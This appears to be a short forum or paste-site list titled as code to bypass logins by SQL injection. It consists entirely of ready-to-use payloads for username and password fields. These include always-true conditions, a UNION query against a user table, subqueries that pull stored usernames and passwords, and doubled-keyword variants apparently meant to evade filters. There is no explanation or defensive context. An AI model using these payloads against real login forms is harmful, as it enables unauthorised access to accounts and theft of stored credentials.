code BY pass SQL injecktion

pass:' union select * from tbluser where '1'='1
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user&pass : '<>'1
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user&pass : a'or'a'='a
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user : '<>1 and fldusername<>'
pass : '
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user&pass: ' and 1=1or '1'='1
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user : '+(select top 1 fldusername from tbluser)+'
pass : '+(select top 1 fldpassword from tbluser)+'
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user&pass: ' not in ('1') and '1'='1
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user&pass : 1'<'2
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user&pass : ' is not null and '1'='1
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user :' oror ''='
pass:' oror ''='
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user/pass :' oorr ''='

' or ' ,a'or'a'='a ,' oror ''='